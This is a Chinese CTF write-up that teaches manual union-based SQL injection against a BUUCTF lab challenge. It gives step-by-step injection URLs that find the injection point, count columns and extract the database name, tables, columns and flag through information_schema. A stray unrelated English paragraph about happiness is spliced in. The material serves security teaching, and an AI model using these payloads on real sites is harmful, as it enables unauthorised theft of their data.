[BUUCTF从零单排] Web方向 03.Web入门篇之sql注入-1(手工注入详解)

这是作者新开的一个专栏《BUUCTF从零单排》,旨在从零学习CTF知识,方便更多初学者了解各种类型的安全题目,后续分享一定程度会对不同类型的题目进行总结,并结合CTF书籍和真实案例实践,希望对您有所帮助。当然,也欢迎大家去BUUCTF网站实践,由于作者能力有限,该系列文章比较基础,写得不好的地方还请见谅,后续会持续深入,加油!

前文介绍了Web方向的基础题目——常见的搜集,该题目主要考察信息收集知识。这篇文章同样是Web方向的题目,主要介绍SQL注入内容——sql注入-1,第一篇详细讲解手工注入,后面再结合工具SQLMAP介绍。为了方便大家思考,文章摘要部分尽量少提,大家也可以先尝试实践,再看WriteUp。基础性文章,希望对您有所帮助,尤其是对网络安全工具的使用和理解。

  • 欢迎关注作者新建的『网络攻防和AI安全之家』知识星球(文章末尾)

文章目录

  • 一.题目描述
  • 二.解题思路
    • 1.注入点判断
    • 2.判断数据库字段
      • 方法一:利用union select实现
      • 方法二:利用order by实现
    • 3.获取数据库名称
    • 4.获取表名
    • 5.获取表中的字段名
    • 6.获取字段的内容
  • 三.探索扩展
  • 四.总结

前文赏析:

  • [BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路
  • [BUUCTF从零单排] Web方向 02.Web入门篇之『常见的搜集』解题思路
  • [BUUCTF从零单排] Web方向 03.Web入门篇之sql注入-1(手工注入详解)

一.题目描述

该题目的具体描述如下:

  • 题目:[第一章 web入门]SQL注入-1
  • 方向:SQL注入
  • 来源:《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com

在这里插入图片描述

在这里插入图片描述

接着解锁该题目并开启探索。

在这里插入图片描述

打开网站如下所示:

  • http://814d06ba-e597-4720-a213-6cda3204fa81.node5.buuoj.cn:81/

在这里插入图片描述

Happy
Why am I feeling so happy today? Well, I just got to spend three days with some of my very best friends having fun together. Yes, I am happy because I had so much fun, but I am also happier because of my connections to these people. Belonging to a community of people helps us feel connected to something greater than ourselves. Research has actually shown that people who are part of community have less stress, recover more quickly from illnesses, and have less chance of a mental illness.


二.解题思路

首先,由网页可知其是PHP网站。接着,打开该网页通过描述,可以知道该题目考察的是信息收集。作为初学者,我们第一想法是网站扫描和源码解析,如下图所示:

在这里插入图片描述

然后并没有太多信息,不过看到这种对话框显示内容,我们想到的也是SQL注入,通过不同参数调整来判断对话框中内容,并尝试将数据库的关键信息显示其中。

1.注入点判断

首先,通过输入不同的数字,我们可以看到其内容在发生改变。

index.php?id=2

在这里插入图片描述

在id=3时,系统会给出对应的提示“tips if too diffcult ,add &tips=1 to the url !”。

index.php?id=3

在这里插入图片描述

而当id大于等于4时,整个内容不再显示,典型的SQL注入题目

index.php?id=4

在这里插入图片描述

其次,我们需要判断注入点,并且判断是字符型注入还是数字型注入。

  • 数字型注入:先尝试判断是否为数字型注入。
index.php?id=1 and 1=2

分析:如果是数字型注入,对应的sql语句为:select * from notes where id =1 and 1=2。此时会出现报错提示,而当前页面未出现明显变化,因此不是数字型注入。接下来进行字符型注入判断。

在这里插入图片描述

  • 字符型注入:通过添加特定标点符号判断,发现其内容不再显示。
index.php?id=1'

分析:原因是对应的SQL语句闭合,即:select * from notes where id =‘1’。此时显示结果异常,进一步确定为字符型注入。

在这里插入图片描述

进一步修改URL:

index.php?id=1' and 1=2--+

此时对应的SQL语句如下,并出现报错信息,自此确定为字符型注入

select * from notes where id ='1' and 1=2 --+'; 

在这里插入图片描述


2.判断数据库字段

通常有两种方式判断数据库字段(column)数量。

方法一:利用union select实现

核心思想是利用联合查询构建SQL注入关键代码,判断其是否与id=1界面相同。

index.php?id=1' union select 1 --+

此时运行结果不同,异常显示。

在这里插入图片描述

当参数为3个时,发现其与id=1界面相同,如下图所示:

index.php?id=1' union select 1,2,3 --+

在这里插入图片描述

而当参数超过3个时,与id=1界面不同。

index.php?id=1' union select 1,2,3,4 --+

在这里插入图片描述

基于此,判断该条SQL语句的参数为3个。


方法二:利用order by实现

利用order by的差异判断出有3列数据。

index.php?id=1' order by 3 --+

在这里插入图片描述

其中,order by参数为3时正常显示,其它值均异常显示,因此判断参数为3个。

index.php?id=1' order by 4 --+

在这里插入图片描述


3.获取数据库名称

通过联合查询和关键函数database()获取数据库名称。

  • 注意:不同数据库的关键函数存在一定差异,读者可以自行学习和记录。

前面在参数判断中已经看到联合查询的SQL语句,其页面正常显示。

正常显示:
index.php?id=1' union select 1,2,3 --+

在这里插入图片描述

首先,将id参数修改为“-1”,可以查看对应的回显内容。通过该方式让SQL注入内容在该部分显示,比如当前显示的为“2、3”,对应第2、3个参数。后续利用回显位进行暴库。

异常显示:
index.php?id=-1' union select 1,2,3 --+

在这里插入图片描述

其次,构建SQL注入关键代码获取数据库名称。

index.php?id=-1' union select 1,database(),3 --+

对应的SQL语句为:

select * from notes where id ='1' union select 1,database(),3 --+'; 

显示结果可以看到数据库的名称为:

  • note

在这里插入图片描述


4.获取表名

获取表名的关键代码如下:

  • group_concat(table_name):用于获取数据库表的名称
  • information_schema.tables:提供了关于数据库中的表的信息
方法1:
index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='note' --+方法2:
index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

显示结果如下所示,其表名称为:

  • fl4g,notes

在这里插入图片描述

温馨提示:INFORMATION_SCHEMA 数据库是MySQL自带的,它提供了访问数据库 元数据的方式,元数据是关于数据的数据,如数据库名或表名、列的数据类型、或访问权限等。

在这里插入图片描述

接着分别获取两个表格信息,利用limit关键词实现。

index.php?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 0,1 --+index.php?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 1,1 --+

分别显示两个表名称,通过分析fl4g表格更可能存储最终flag信息。

在这里插入图片描述

在这里插入图片描述


5.获取表中的字段名

获取表中字段名的关键代码如下:

  • group_concat(column_name):用于获取字段名称
  • information_schema.columns:提供了字段信息
index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+

温馨提示:GROUP_CONCAT函数是SQL中的一个聚合函数,它用于将来自某个分组的多个行的列值连接成一个单独的字符串。这个函数在处理如分类数据汇总、生成报表等场景时非常有用。

显示结果如下,表格fl4g中的字段为:

  • fllllag

在这里插入图片描述


6.获取字段的内容

获取字段内容的关键代码如下:

  • group_concat(fllllag):用于获取指定字段内容
index.php?id=-1' union select 1,group_concat(fllllag),3 FROM fl4g --+

最终flag如下:

  • n1book{union_select_is_so_cool}

在这里插入图片描述

在这里插入图片描述


三.探索扩展

请大家思考几个问题:

  • 第一,为什么在撰写SQL注入关键代码时,末尾需要添加一个加号或减号才能成功显示呢?这个希望知道的读者告知,非常感谢。
index.php?id=-1' union select 1,database(),3 -- -
index.php?id=-1' union select 1,database(),3 --+
index.php?id=-1' union select 1,database(),3 --'

为什么–后面必须要有空格,而#后面就不需要?
因为使用–注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的,记住就行了。因为不加空格,–直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。

  • 第二,该篇博客讲述的手工注入,很多关键代码需要大家牢记。那么,如何使用自动化工具实现对应功能呢?有什么方便的工具来实现SQL注入吗?

  • 第三,union select左右两边必须拥有相同数量的列。

  • 第四,在代码中id=1的主要原因是只需要判断,不需要展示值;id=-1 需要将union select获得的值展示出来。如果id=1,union select获得的值将无法展示出来。

  • 第五,上述注入代码通过“- -”注释来实现绕过闭合,同样“#”具有相同的功能。“#”在URL中不作为有效字符传入SQL语句中,故采用URL编码%23代替。

index.php?id=-3' union select 1,database(),@@version_compile_os %23&tips=1

在这里插入图片描述

  • 第六,在MYSQL5.0以上版本中,mysq1存在一个自带数据库名为 information_schema, 它是一个存储记录有所有数据库名,表名,列名的数据 库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
    – information_schema.tables:记录所有表名信息的表
    – information_schema.columns:记录所有列名信息的表
    – table_name:表名
    – column_name:列名
    – table_schema:数据库名

四.总结

写到这里,这篇文章就介绍完毕,下一篇将介绍SQL基本用法。基础性文章,希望对您有所帮助。同时建议读者多实践,尝试各种类型的CTF题目。

2024年4月28日是Eastmount的安全星球——『网络攻防和AI安全之家』正式创建和运营的日子,该星球目前主营业务为 安全零基础答疑、安全技术分享、AI安全技术分享、AI安全论文交流、威胁情报每日推送、网络攻防技术总结、系统安全技术实战、面试求职、安全考研考博、简历修改及润色、学术交流及答疑、人脉触达、认知提升等。下面是星球的新人券,欢迎新老博友和朋友加入,一起分享更多安全知识,比较良心的星球,非常适合初学者和换安全专业的读者学习。

在这里插入图片描述
目前收到了很多博友、朋友和老师的支持和点赞,尤其是一些看了我文章多年的老粉,购买来感谢,真的很感动,类目。未来,我将分享更多高质量文章,更多安全干货,真心帮助到大家。虽然起步晚,但贵在坚持,像十多年如一日的博客分享那样,脚踏实地,只争朝夕。继续加油,再次感谢!

(By:Eastmount 2024-09-29 夜于贵阳 http://blog.csdn.net/eastmount/ )


参考《从0到1:CTFer成长之路》书籍和如下文献,推荐大家关注此书。

  • [1] https://github.com/Jason1314Zhang/BUUCTF-WP/blob/main/N1BOOK/
  • [2] https://jason1314zhang.github.io/blog/N1BOOK-Writeup/
  • [3] https://github.com/SihUi0/CTF-SQL-/blob/main/web入门SQL注入-1(BUUCTF).md
  • [4] [第一章 web入门]SQL注入-1 题目分析与详解
  • [5] N1BOOK第三关摸鱼:[第一章 web入门]SQL注入-1
  • [6] BUUCTF-wp-[第一章 web入门]SQL注入-1
  • [7] [BUUCTF]-N1BOOK-[第一章 web入门]SQL注入-1 及sqlmap的简单使用
  • [8] BUUCTF [第一章 web入门]SQL注入-1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1550532.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

打造高业绩朋友圈:策略与实践

在数字化时代,朋友圈不仅是个人生活的展示窗口,更是商业变现的有力平台。许多人通过精心经营朋友圈,实现了财富的增长,甚至达到了年入百万的惊人业绩。朋友圈已成为普通人实现逆袭的重要战场。 要打造一个业绩过万的朋友圈&#…

关于武汉芯景科技有限公司的IIC电平转换芯片XJ9509开发指南(兼容PCa9509)

一、芯片引脚介绍 1.芯片引脚 2.引脚描述 二、系统结构图 三、功能描述 1.VCCA1.35V,VCCB5V,A1输入,B1输出 2.VCCA1.35V,VCCB5V,B1输入,A1输出 3.VCCA1.35V,VCCB5V,A2输入,B2输出 4.VCCA1.35V,VCCB5V,B2输入,A2输出

升级 Windows 后如何恢复丢失的文件

升级到 Windows 11 后可以恢复丢失的文件!阅读帖子直到最后,了解如何做到这一点。 为了获得安全更新并使用最新的操作系统,人们会升级到最新版本的 Windows。然而,在这样做的过程中,许多人丢失了他们的重要文件&#…

基于SpringBoot+Vue+MySQL的体育商城系统

系统展示 用户前台界面 管理员后台界面 系统背景 随着互联网的飞速发展,电子商务已成为人们日常生活中不可或缺的一部分。体育用品市场作为其中的一个重要分支,也逐渐向线上转移。基于SpringBootVueMySQL的体育商城系统应运而生,旨在通过构建…

优秀的拆分C++

题目: 样例解释: 样例1解释 6422221 是一个优秀的拆分。注意,6222 不是一个优秀的拆分,因为拆分成的 3 个数不满足每个数互不相同。 思路: 题目大致意思是说给定一个正整数NN,让你用二进制表示(…

PDCA优化任务流程

这里写目录标题 一、背景二、PDCA重要性与必要性概念PDCA循环的重要性 三、PDCA分析这次任务的执行任务描述分析原因:结合PDCA分析:提高办法: 四、总结 一、背景 汇报任务完成情况,未提交实际成果。 本次总结旨在通过PDCA循环的视…

鸿蒙开发(NEXT/API 12)【硬件(振动开发1)】振动

通过最大化开放马达器件能力,振动器模块服务拓展了原生马达服务,实现了振动与交互融合设计,从而打造出细腻精致的一体化振动体验和差异化体验,提升用户交互效率、易用性以及用户体验,并增强品牌竞争力。 运作机制 Vi…

学习docker第二弹------基本命令[帮助启动类命令、镜像命令、容器命令]

docker目录 前言基本命令帮助启动类命令停止docker服务查看docker状态启动docker重启docker开机启动docker查看概要信息查看总体帮助文档查看命令帮助文档 镜像命令查看所有的镜像 -a查看镜像ID -q在仓库里面查找redis拉取镜像查看容器/镜像/数据卷所占内存删除一个镜像删除多个…

机器学习:opencv--背景建模

目录 一、背景建模是什么? 二、背景建模的目的 三、背景建模的方法及原理 四、代码实现 1.创建卷积核 2.创建混合高斯模型 3.处理图像 4.绘制人形轮廓 5.条件退出 一、背景建模是什么? 指在计算机视觉中,从视频序列中提取出静态背景…

Anaconda虚拟环境默认路径在C盘怎么更改

笔者已经新建好了虚拟环境并且安装了对应库,输入conda env list查询发现虚拟环境竟然安装到了C盘(。•́︿•̀。),为避免下一次创建虚拟环境出错,笔者现在修改默认路径置D盘(软件安装盘) 参考两…

ROS学习笔记(四):使用 `ros2 run usb_cam usb_cam_node_exe` 启动 USB 摄像头

文章目录 前言1 安装 usb_cam 包2 启动 USB 摄像头3 订阅相机发布的节点信息并进行可视化3.1 使用 rqt_image_view3.2 使用 image_view3.3 使用 rviz 4 常见问题与解决方案4.1 摄像头未被识别4.2 相机显示异常4.3 如何指定不同的相机4.4 摄像头参数调整 5. 调试信息 5. 结论 前…

pyboard405意外故障,micropython OLED例程无法运行,折腾了大半天。

thonny报告&#xff1a; Traceback (most recent call last): File "<stdin>", line 3, in <module> RuntimeError: name too mode # main.py -- put your code here! from machine import I2C,Pin #从machine模块导入I2C、Pin子模块 from ss…

SpringBoot项目请求不中断动态更新代码

在开发中&#xff0c;有时候不停机动态更新代码热部署是一项至关重要的功能&#xff0c;它可以在请求不中断的情况下下更新代码。这种方式不仅提高了开发效率&#xff0c;还能加速测试和调试过程。本文将详细介绍如何在 Spring Boot 项目在Linux系统中实现热部署&#xff0c;特…

MySQL - 运维篇

一、日志 1. 错误日志 2. 二进制日志 3. 查询日志 记录了所有的增删改查语句以及DDL语句 4. 慢查询日志 二、主从复制 1. 概述 2. 原理 3. 搭建 三、分库分表 1. 介绍 2. Mycat概述 3. Mycat入门 4. Mycat配置 5. Mycat分片 6. Mycat管理及监控 四、读写分离 1. 介绍 2. 一…

PostgreSQL的安装与使用指南

PostgreSQL,简称Postgres,是一个功能强大的开源对象-关系数据库系统。它以其稳定性、可靠性、数据完整性以及对SQL标准的严格遵循而著称,广泛应用于各种规模的企业级应用、Web应用和数据仓库中。本文将详细介绍PostgreSQL在不同操作系统上的安装、配置及基本使用方法。 一、…

html+css+js实现Tabs标签页

实现效果 HTML部分 <div class"tab"><ul class"tab-nav"><li><a href"#" class"active" >用户管理</a></li><li><a href"#" >配置管理</a></li><li>&l…

毕业论文设计javaweb+VUE高校教师信息管理系统

目录 一、系统概述 二、功能详解 1. 教师管理 2. 部门管理 3. 奖惩管理 4. 业绩管理 5. 培训管理 6. 报表查询 三、总结 四、示例代码 1 前端VUE 2 后端SpringBootjava 3 数据库表 随着教育信息化的发展&#xff0c;传统的手工管理方式已经不能满足现代学校对教师…

程序员的自我修养(链接、装载与库)--摘录与汇总(一)

指令和地址分开原因&#xff1a;&#xff08;P59&#xff09; 1、独立权限&#xff0c;防止程序指令非预期改写 程序装载后&#xff0c;数据和指令分别被映射到两个虚存区域。由于数据区域对于进程来说是可读写的&#xff0c;而指令区域对于进程来说是只读的&#xff0c;所以…

系统数据文件和信息

系统数据文件和信息 Unix 系统的正常运行需要使用大量与系统有关的数据文件&#xff0c;例如&#xff0c;口令文件 /etc/passwd 和组文件 /etc/group 都是经常被多个程序频繁使用的两个文件。用户每次登录 Unix 系统以及每次执行 ls -l 命令时都要使用口令文件。 /etc/passwd…

【设计模式-命令】

定义 命令模式&#xff08;Command Pattern&#xff09;是一种行为设计模式&#xff0c;它将请求封装为一个对象&#xff0c;从而使您能够使用不同的请求、排队请求或记录请求&#xff0c;并支持可撤销的操作。该模式通过将请求与其执行分离&#xff0c;使得请求者和接收者之间…